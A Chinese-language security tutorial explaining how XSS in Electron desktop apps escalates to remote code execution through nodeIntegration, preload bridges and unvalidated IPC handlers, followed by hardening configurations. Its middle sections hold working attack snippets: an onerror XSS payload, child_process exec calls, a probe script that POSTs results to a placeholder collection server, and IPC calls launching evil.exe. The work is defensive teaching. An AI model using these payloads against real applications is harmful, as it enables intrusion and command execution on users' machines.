
在开始写之前先说清楚这篇文章是什么它不是教你学坏的而是从逆向、攻击链路构建、设备指纹采集这一整套完整的视角讲清楚“你的桌面应用到底安不安全”。选 Electron 作为主体是因为它现在几乎是桌面应用的事实标准VSCode、Slack、Discord、Notion、飞书全都在用。但同时Electron 有一个先天性的结构弱点它把 JS 的能力无限放大一旦前端出现 XSS攻击者手里就等于握着一张通往操作系统的直通券。这篇文章适合三类读者写 Electron 的前端工程师、做安全测试的伙伴、以及对逆向刚入门的新手。1. 先说结论Electron 应用为什么总是沦为攻击目标1.1 一个被严重低估的桌面攻击面绝大多数人做安全意识评估的时候脑子里想的还是 Web 那套URL 校验、SQL 注入、越权、CORS。但 Electron 应用的攻击面比传统 Web 要大得多也怪得多。我先告诉你一个数据用 Electron 构建的桌面应用如果不做contextIsolation隔离渲染进程里出现一个 XSS 几乎等于直接沦陷。这不是我危言耸听是 Electron 官方文档自己白纸黑字写的。攻击链路通常长这样用户在应用的某个窗口里触发恶意脚本脚本跑在渲染进程通过预留给 Web 页面的接口调用主进程能力再借助主进程的语音、文件、网络、剪切板能力完成系统级越权。之所以会出现这种局面是因为 Electron 把浏览器内核直接搬到了桌面上。你在浏览器里遇到 XSS最多被弹个窗、偷个 Cookie但在 Electron 里XSS 背后的脚本可以读取本地文件、执行系统命令、篡改其他窗口的 DOM。浏览器和操作系统的边界在 Electron 里被人为压扁了这是它作为跨平台方案最爽的地方也是最要命的地方。1.2 XSS 在桌面端和 Web 端完全不是一回事很多刚接触 Electron 安全的人有个误区觉得 XSS 就是往页面上塞一段script标签弹个烦人的 alert。但真正的 XSS 在 Electron 里的杀伤力跟 Web 端是两个物种。我用一个特别直白的类比Web 端的 XSS 是在银行的营业厅里贴了一张假告示最多误导几个客户Electron 里的 XSS相当于假告示直接贴在了金库大门上而且告示后面还挂着钥匙。为什么差别这么大原因在于 Electron 的渲染进程本质上是一个带特权的 Chromium。它正常运行的时候确实守着规矩可一旦攻击者拿到了在渲染进程里执行任意 JS 的能力他就能调用 Electron API。更可怕的是如果开发者图省事开了nodeIntegration渲染进程直接变成了 Node.js 环境脚本可以require(child_process).exec(calc.exe)。Web 端想要服务器配合才能做到的事桌面端一个 XSS 就能办到。所以这篇文章的核心目标就是带你从 0 到 1 完整拆解“XSS 如何变成 RCE”让你亲眼看着一条恶意输入如何沿着 DOM、IPC、主进程这条链路流到系统命令的执行层。你自己亲手复现一遍远比背一百遍文档管用。2. 逆向 Electron 应用先搞清楚它到底长什么样2.1 开始之前先把这些工具和配置准备好逆向 Electron 应用第一步不是打开反编译工具而是先想清楚你要从哪个角度切入。根据我自己的经验核心工具链大概是下面这套工具/环节用途说明asar 解包解开 Electron 应用的打包归档npx asar extract app.asar ./dest是最常用命令VS Code / Sublime查看解包后的 JS 代码主进程和渲染进程代码基本都是明文Chrome DevTools调试渲染进程可配合--remote-debugging-port启动抓包工具观察网络请求确认 XSS 的 payload 请求路径Fiddler / Charles拦截 websocket、HTTP排查 IPC 事件是否携带敏感参数这里必须先说一个常识Electron 应用默认会把所有代码打包进resources目录下的app.asar文件里。这个文件不是加密格式只是简单归档你把路径里的 app.asar 拖进任何支持 asar 解包的工具都能还原出源码。另外强调一个极其重要的点正常使用场景下Electron 的代码对用户完全是透明的。这一点既是罪魁祸首也是安全分析的关键窗口——恶意攻击者唯一要做的就是找到入口点然后读取你的明文 JS 代码分析主进程的 IPC 监听逻辑找出哪些接口没有做参数校验。2.2 逆向实操三步拆解一个 Electron 应用假设你手上有一个安装好的 Electron 应用为了保护隐私我这里就不写真名了但流程是一样的。第一步定位 asar 文件的位置。在 Windows 上一般是C:\Users\用户名\AppData\Local\Programs\应用名\resourcesmacOS 上在/Applications/应用名.app/Contents/Resources/。第二步用 asar 工具把内容解出来。终端里执行# 全局安装 asar 工具 npm install -g electron/asar # 解除归档 npx asar extract app.asar ./app-source第三部用 VS Code 打开app-source目录按文件大小排序JavaScript 文件越大说明业务逻辑越复杂攻击面也越大。主进程代码一般在main.js、background.js这类顶层文件里渲染进程代码一般在renderer/或ui/子目录下。很多人会忽略一个关键动作解包之后立刻搜索关键词ipcMain.on或者ipcMain.handle。为什么因为这是整个攻击链路的桥梁你的 XSS 想变成 RCE必须跨过这座桥。看一眼这里注册了哪些监听事件、回调函数里做了什么操作基本就能判断出这个应用有没有毒。这里就带出一个很多人困惑的问题为什么我解包后的代码看起来这么乱有些 Electron 项目使用了打包工具比如 electron-builder 和 webpack默认会把所有 JS 压缩并打包成一个巨大的 bundle。这时候就要靠代码格式化工具 关键词定位来恢复阅读体验。先搜ipcMain、webContents、BrowserWindow再从这些关键节点往外扩散分析。3. 整条攻击链路拆解XSS 到 RCE 到底是怎么一步一步发生的3.1 找到 XSS 的注入点是一切的前提很多安全测试最耗时间的一环不是攻而是找入口。XSS 的注入点在哪里种类不比 Web 端少应用内嵌 WebView 里渲染的 HTML 片段、Markdown 预览插件里的不安全渲染、搜索框的自动补全、文件打开后的文本预览、浏览器扩展注入的内容甚至连应用名称都能变成注入点。最典型的场景之一是 Electron 应用加载了远程页面。很多开发者图方便直接把BrowserWindow.loadURL(https://某站点)当成应用主界面。这种做法的风险在于一旦远程页面被劫持或者接口返回的数据被污染前端代码就变成了攻击者的提款机。但更隐蔽的注入点在国内团队里更常见——用shell.openExternal打开外部链接时如果外部链接里的 URL 包含了用户的输入并且没有做 protocol 校验用户输入一个javascript:协议的链接点击之后就可能在当前窗口执行任意 JS。我们拿一个经典 Demo 来梳理链路假设应用里有一个输入框输入的内容会被写入到 innerHTML 里渲染安全测试最经典的场景恶意输入是img srcx onerroralert(1)这只是一个提示。真正要命的版本是把alert(1)换成一段威力更大的 payload比如探测当前页面是否允许访问 Node 环境、枚举window.require是否存在。3.2 从 XSS 到 RCE 的核心跳板nodeIntegration 与 IPC当你确认渲染进程里能执行任意 JS 之后下一步就是判断能跳多远。这里要先澄清三个配置项的差异也是安全分析时最看重的地方配置项开启状态的影响风险等级nodeIntegration: true渲染进程直接变成 Node 环境可require任意模块极高XSS 直接等于 RCEcontextIsolation: false渲染进程和预加载脚本共享上下文可绕过部分隔离高配合 XSS 可污染全局sandbox: false渲染进程不开启沙箱限制可访问 Node API较高等于关掉了最后一层防线在我的实测中很多老项目的风险组合是nodeIntegration: true contextIsolation: false sandbox: false三件套全齐。这意味着页面里的每一个script标签都拥有系统权限。如果nodeIntegration是关闭的XSS 就没办法直接调用 Node API 吗并不是。你还需要看预加载脚本preload script暴露了哪些接口到window上// preload.js 示例 const { contextBridge, ipcRenderer } require(electron); contextBridge.exposeInMainWorld(nativeAPI, { readConfig: () ipcRenderer.invoke(read-config), execCmd: (cmd) ipcRenderer.invoke(exec-command, cmd) });如果开发者在预加载脚本里把execCmd这种能力暴露给了页面而主进程回调函数里又直接使用了child_process.exec且没有白名单那么渲染进程里的 XSS 只需要调用window.nativeAPI.execCmd(calc.exe)就能完成 RCE。这就是我在文章开头说的“结构洞”预加载脚本本来是桥结果成了没有门的桥。3.3 RCE 的典型利用路径和实操验证我把自己踩坑后整理出来的标准验证流程贴出来你可以直接照着做第一步注入探测脚本判断权限边界。// 探测渲染进程能力 (async () { const result { hasRequire: typeof require ! undefined, hasProcess: typeof process ! undefined, hasNativeAPI: typeof window.nativeAPI ! undefined, hasNodeIntegration: typeof module ! undefined typeof module.exports ! undefined }; fetch(http://你的服务器/collect, { method: POST, body: JSON.stringify(result) }); })();第二步根据探测结果选择提权路径。如果hasRequire为 true直接用require(child_process).exec(calc)验证 RCE。如果hasNativeAPI为 true看看window.nativeAPI上暴露了哪些方法挑一个能执行命令或读写文件的接口直接调用。如果前后端都没有直接的方法那就尝试走 IPC 通道。打开 DevTools Console输入window.require或process.mainModule看看能不能捞到残留的模块引用。第三步验证成功后把命令替换成真正要执行的 payload比如用curl下载远程脚本到临时目录再执行。但这里我不建议你自己做这一步安全测试应该停留在 PoC 层面。有一个常见误区必须提一嘴扫描器报“DOM XSS”不代表没有危害。真实场景里很多 DOM XSS 因为没有反射到后端被业务方一句话打回来“只是前端写错了不能干嘛。”但在 Electron 里DOM XSS 是最危险的入口因为攻击链的后半段完全在前端完成后端有没有过滤根本不重要。你在做安全评估时一定要把这句话说清楚给决策层听。4. 主进程与渲染进程 IPC 通信跨进程攻击的放大器4.1 IPC 机制为什么它既是双刃剑又是放大器Electron 的主进程Main Process和渲染进程Renderer Process之间的通信全靠 IPCInter-Process Communication。它的设计初衷很好隔离权限渲染进程不直接碰系统 API需要什么东西就跟主进程说一声主进程办完再传回来。这个机制本身没有错错的是大量开发者把 IPC 当成了无鉴权的 API。实际测试中我遇到过一种特别典型的情况渲染进程的 XSS 无法直接调用require但这个应用在预加载脚本里用contextBridge暴露了好几个ipcRenderer.invoke接口比如save-file、open-url、get-user-data。攻击者根本不需要绕过拦截器直接逐个调用这些接口就能拿到用户数据或执行系统操作。下面是一个我在测试中遇到的简化版主进程代码你可以直观感受一下问题在哪// main.js const { ipcMain, shell } require(electron); ipcMain.handle(open-external, async (event, url) { // 注意这里没有校验 event.sender 是不是可信窗口也没有校验 url 的协议 await shell.openExternal(url); }); ipcMain.handle(write-file, async (event, filename, content) { // 没有校验 filename 是否在白名单目录内 fs.writeFileSync(path.join(app.getPath(userData), filename), content); });如果你的渲染进程里出现 XSS攻击者对这两个接口的调用几乎是零门槛window.nativeAPI.openExternal(file:///C:/Users/Public/evil.exe)或者window.nativeAPI.writeFile(evil.html, script.../script)。4.2 为什么 IPC 链路值得单独拎出来看我见过太多人只把注意力放在 XSS 本身忽略了它和 IPC 组合后的威力。这里再给一个实战里比较隐蔽的例子Electron 应用的知识库功能支持上传附件并预览预览的时候用webview标签加载附件内容。如果应用本身没有做校验攻击者可以传一个恶意 HTML 文件在webview标签里执行脚本。这时脚本虽然跑在独立的 webview 进程里但webview的特性是能访问ipcRenderer里的部分能力——只要主进程没有明确拒绝这条链路就通了。所以面对一个 Electron 应用我个人的排查顺序是先看BrowserWindow实例化参数确认webPreferences配置再看preload.js里暴露了哪些桥接方法最后把所有ipcMain监听的渠道拉一个清单出来模拟渲染进程里每一条 channel 被调用时的效果。这三步走完80% 的 Electron 安全问题都能暴露出来。5. 常见问题与排查技巧实录我踩过的坑都在这里5.1 逆向阶段常见的五个问题先整理一张避坑速查表都是我实际遇到过且容易误导新手的问题现象根因解决办法解包后只有.jsbundle找不到业务代码打包工具压缩合并先格式化再搜关键词定位不要从头看主进程和渲染进程代码混在一个文件里打包配置问题优先看顶部注释和生成方式的特征来区分contextBridge暴露的 API 调不到调用时机不对确保脚本在DOMContentLoaded之后再调用注入的 XSS 脚本被 CSP 拦下应用设置了 CSP绕过 CSP 时检查是否有 unsafe-inline 或 unsafe-eval主进程可执行命令但没有回显直接执行了exec无回调改用execSync或把输出写到临时文件再读取5.2 排查与动态调试时的实操心得一个治好了我多年强迫症的建议调试 Electron 逆向问题时别一股脑去改代码。先启动应用在命令行手动指定端口开启 DevTools# 远程调试端口 your-app --remote-debugging-port9222然后在 Chrome 里打开http://localhost:9222/json就能看到所有渲染进程的调试页面列表。点击任意目标直接进入 DevTools此时你可以实时修改页面里的 JS甚至直接调用内部函数。这个技巧在做 XSS 验证时特别高效把恶意脚本通过 DevTools 里的 Console 手工执行一遍观察是否提示require is not defined就能反向判断当前窗口的webPreferences是怎么配置的。还有个小技巧看process.versions.electron是否存在直接判断当前代码是否运行在渲染进程里。另外提醒一句不要忽视了入口文件名字的变化。很多 Electron 应用的主进程其实叫main.js但打包后会被改成app.js或者index.js。你解包后先找package.json看main字段指向哪个文件那个就是主进程入口。这个点我在初学的时候真的浪费过很长时间。6. 攻击链路到这里结束但防御机制才刚开始6.1 Web 端和 Electron 端视角的安全加固方案先明确一个观念Electron 应用的安全加固重点不是把每个漏洞都堵死而是把从 XSS 到 RCE 这条链路切断。你不需要做一个刀枪不入的堡垒你只需要让攻击者跨不出渲染进程就赢了。我自己在项目里推荐的安全基线是这样一套组合拳强制开启contextIsolation: true让渲染进程不直接暴露 Node API。关闭nodeIntegration: true让渲染进程里的 JS 无法调用系统级模块。开启sandbox: true给渲染进程再套一层沙箱。preload 脚本里只暴露最小化接口绝不要暴露直接操作文件或命令的接口。所有ipcMain.handle回调函数里都必须验证event.senderFrame的 URL 是否属于应用可信页面。对传给主进程的参数做白名单校验路径必须 normalize 后判断前缀。其中第 5 点最容易被忽略。我见过很多开发者在 preload 脚本里把ipcRenderer.invoke直接挂到window上却没有在ipcMain侧校验调用来源。攻击者如果能在任意页面注入脚本他就不需要通过应用自己的页面来发起 IPC 请求一个window.open进去的外部页面也能调用。6.2 一套完整的加固案例从高危到稳妥的变化过程给你看看我实际帮一个项目做的改造你可以对照着自己的项目来检查。原配置高危全开const win new BrowserWindow({ webPreferences: { nodeIntegration: true, contextIsolation: false, sandbox: false, preload: path.join(__dirname, preload.js) } });改造后推荐基线const win new BrowserWindow({ webPreferences: { contextIsolation: true, nodeIntegration: false, sandbox: true, webSecurity: true, preload: path.join(__dirname, preload.js) } });同时preload.js 里不再把ipcRenderer直接暴露而是封装成语义化的白名单方法const { contextBridge, ipcRenderer } require(electron); contextBridge.exposeInMainWorld(secureAPI, { saveNote: (content) { // 只允许特定操作不传文件路径 return ipcRenderer.invoke(save-note, String(content)); }, readVersion: () ipcRenderer.invoke(get-version) });主进程里的接收方再加一层校验const { ipcMain, shell } require(electron); const VALID_ORIGINS [https://app.yourapp.com, file://]; ipcMain.handle(open-external, async (event, url) { const senderUrl event.senderURL; if (!VALID_ORIGINS.some(prefix senderUrl.startsWith(prefix))) { throw new Error(Blocked invalid caller); } const parsed new URL(url); if (parsed.protocol http: || parsed.protocol https:) { await shell.openExternal(url); } });这一套配置做完就算渲染进程里还有 XSS 漏洞攻击者手里的能力也基本被压回到 Web 层面可以改页面 DOM、可以盗 token但拿不到 Node API系统命令更是遥不可及。这正好回应了文章开头说的观点我们心平气和地接受 XSS 不是能根除的功夫都花在切断“从页面到系统”的路径上。7. 写在最后从逆向视角重新审视你的桌面应用这篇内容从标题抛出“你的桌面应用安全吗”到实际拆解逆向流程、攻击链路、IPC 防护与加固实战其实只干了一件核心的事把一个 Electron 应用从里到外翻了一遍让你亲眼看到恶意数据是怎么沿着“渲染进程 → IPC → 主进程 → 系统命令执行”这条链路一步步往前推进的。我个人做安全测试这十几年的体会是攻击者跟防守者之间拼的从来不是谁更懂漏洞而是谁更快在庞大的代码库里找到关键的那条链路。Electron 应用里的安全漏洞除了本身写得不严谨之外更多源于开发者对自己的代码结构没有从攻击者视角审视过——不知道自己开了多少桥也不知道桥上有没有门。最后分享一个项目实践里总结的小习惯每次发布 Electron 应用之前用 asar 解包出一个副本在副本上做一次“镜像攻击测试”——想办法在里面找到一个 XSS 注入点然后再想办法把攻击升级到 RCE。如果这两步你都做不到那么恭喜你你的应用在常见攻击者面前是合格的如果你做到了那你刚刚相当于免费请自己当了一回渗透测试员。这个习惯坚持下来你的应用安全水平会肉眼可见地提高。